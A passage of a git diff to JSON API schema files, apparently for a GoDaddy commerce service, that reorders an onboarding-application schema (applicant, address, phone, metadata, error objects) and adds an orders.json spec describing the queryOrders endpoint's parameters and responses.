"$id": "https://godaddy.com/schemas/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" + }, + "title": "Address Details", + "type": "object" }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 - }, - "type": { - "description": "Type of applicant", - "type": "string", - "default": "APPLICANT", - "enum": [ - "APPLICANT", - "OWNER", - "OWNER_APPLICANT" - ] - }, - "userId": { - "description": "Unique User ID", - "type": "string", - "maxLength": 64 - }, - "visitorId": { - "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" - } - }, - "required": [ - "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } - }, - "required": [ - "name" - ] - }, - "metadata": { - "description": "Additional parameters to create a specific type of application", - "type": "object", - "properties": { - "businessId": { - "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" - }, - "channelId": { - "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" - }, - "context": { - "description": "Header context", - "type": "string", - "maxLength": 1024 - }, - "medium": { - "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 - }, - "referralUrlId": { - "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 - }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] - }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] - } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] - }, - "products": { - "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", - "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the product", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Product name", - "type": "string", - "enum": [ - "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } - } - } - } - }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } - } - }, - "required": [ - "intent" - ] - } - }, - "400": { - "description": "Bad request", - "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." + "customerId": { + "description": "Unique ID for GoDaddy customer", + "format": "uuid", + "type": "string" }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" + "email": { + "$id": "https://godaddy.com/schemas/common/email-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", + "maxLength": 254, + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } - }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", "type": "string" }, - "title": { - "description": "The link title.", + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, "type": "string" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." + "phone": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": { + "default": "APPLICANT", + "description": "Type of applicant", + "enum": [ + "APPLICANT", + "OWNER", + "OWNER_APPLICANT" + ], "type": "string" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "userId": { + "description": "Unique User ID", + "maxLength": 64, + "type": "string" }, - "submissionSchema": { - "description": "The schema that describes the request data." + "visitorId": { + "description": "The visitor id that was created during an anonymous visit", + "format": "uuid", + "type": "string" } }, "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "name", - "correlationId", - "message" - ] - } - }, - "404": { - "description": "Not found", - "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } + "email" + ], + "title": "Individual", + "type": "object" }, - "required": [ - "issue" - ] + "type": "array" }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" + }, + "metadata": { + "description": "Additional parameters to create a specific type of application", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" + }, + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "businessId": { + "description": "Unique ID for the business", + "format": "uuid", "type": "string" }, - "title": { - "description": "The link title.", + "channelId": { + "description": "Unique ID for the channel", + "format": "uuid", "type": "string" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "context": { + "description": "Header context", + "maxLength": 1024, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." + "medium": { + "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", + "maxLength": 64, + "type": "string" }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "referralUrlId": { + "description": "The ID what was setup for a Distributor Merchant URL", + "maxLength": 256, "type": "string" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "submissionSchema": { - "description": "The schema that describes the request data." + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } }, - "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } + "type": "object" }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, + "products": { + "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "id": { + "description": "Unique ID for the product", + "readOnly": true, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "name": { + "description": "Product name", + "enum": [ + "PAYMENTS" + ], "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, - "required": [ - "rel", - "href" - ] - } + "title": "Product", + "type": "object" + }, + "type": "array" + }, + "store": { + "$ref": "./Store.yaml" } }, "required": [ - "name", - "correlationId", - "message" - ] + "intent" + ], + "title": "Onboarding Application", + "type": "object" } } }, diff --git a/rust/schemas/api/orders.json b/rust/schemas/api/orders.json new file mode 100644 index 0000000..1c8864a --- /dev/null +++ b/rust/schemas/api/orders.json @@ -0,0 +1,5358 @@ +{ + "name": "orders", + "title": "Order Service", + "description": "This API can be used for creating, updating, canceling and retrieving orders as well as archiving and retrieving archived orders related to a store.", + "version": "1.11.0", + "baseUrl": "https://api.godaddy.com", + "endpoints": [ + { + "operationId": "queryOrders", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/orders", + "summary": "Find and filter orders", + "description": "Find orders and filter them using the criteria provided", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Returns the resources that come after this specified cursor", + "schema": { + "description": "A cursor for use in pagination", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicator used for cursor based pagination", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + }, + { + "name": "processedAtStart", + "in": "query", + "required": false, + "description": "Grab orders with their processedAt => this datetime", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "processedAtEnd", + "in": "query", + "required": false, + "description": "Grab orders with their processedAt <= this datetime", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "updatedAtStart", + "in": "query", + "required": false, + "description": "Grab orders with their updatedAt => this datetime", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "updatedAtEnd", + "in": "query", + "required": false, + "description": "Grab orders with their updatedAt <= this datetime", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "status", + "in": "query", + "required": false, + "description": "Order status (comma separated)", + "schema": { + "description": "List of order statuses (comma separated)", + "example": "OPEN,COMPLETED", + "type": "string" + } + }, + { + "name": "paymentStatus", + "in": "query", + "required": false, + "description": "Order payment statuses (comma separated)", + "schema": { + "description": "List of order payment statuses (comma separated)", + "example": "PROCESSING,PAID", + "type": "string" + } + }, + { + "name": "fulfillmentStatus", + "in": "query", + "required": false, + "description": "Order fulfillment statuses (comma separated)", + "schema": { + "description": "List of order fulfillment statuses (comma separated)", + "example": "UNFULFILLED,IN_PROGRESS", + "type": "string" + } + }, + { + "name": "fulfillmentMode", + "in": "query", + "required": false, + "description": "Line item fulfillment mode - taken from line items (comma separated)", + "schema": { + "description": "List of line item fulfillment modes (comma separated)", + "example": "PICKUP,SHIP", + "type": "string" + } + }, + { + "name": "channelId", + "in": "query", + "required": false, + "description": "Channel ID(s) to filter orders by", + "schema": { + "description": "List of order channelId (comma separated)", + "example": "7a65506f-d706-420b-a5ec-25c5bf69d000,0349f033-a556-49b7-9233-4edd39540112", + "type": "string" + } + }, + { + "name": "name", + "in": "query", + "required": false, + "description": "Shipping / billing name to filter orders by", + "schema": { + "description": "Shipping / billing name", + "example": "Bob Loblaw", + "type": "string" + } + }, + { + "name": "email", + "in": "query", + "required": false, + "description": "Shipping / billing email(s) to filter orders by", + "schema": { + "description": "Email(s)- comma separated", + "example": "bobloblaw@gmail.com,dirk-nowitzki@gmail.com", + "type": "string" + } + }, + { + "name": "tags", + "in": "query", + "required": false, + "description": "Order tags to filter orders by", + "schema": { + "description": "List of tags (comma separated)", + "example": "digital,poynt", + "type": "string" + } + }, + { + "name": "sortBy", + "in": "query", + "required": false, + "description": "Sort the underlying orders by the given key", + "schema": { + "default": "processedAt", + "description": "Key to sort orders by", + "enum": [ + "number", + "processedAt", + "total", + "status", + "fulfillmentStatus", + "paymentStatus", + "updatedAt" + ], + "type": "string" + } + }, + { + "name": "sortOrder", + "in": "query", + "required": false, + "description": "Sort direction", + "schema": { + "default": "ASC", + "description": "Sort direction", + "enum": [ + "ASC", + "DESC" + ], + "type": "string" + } + } + ], + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully listed orders", + "schema": { + "properties": { + "links": { + "description": "Array containing one or more HATEOAS link relations that are relevant for traversing orders", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "orders": { + "items": { + "$ref": "./models/Order.yaml" + }, + "type": "array" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "orders", + "links" + ], + "title": "Orders", + "type": "object" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or 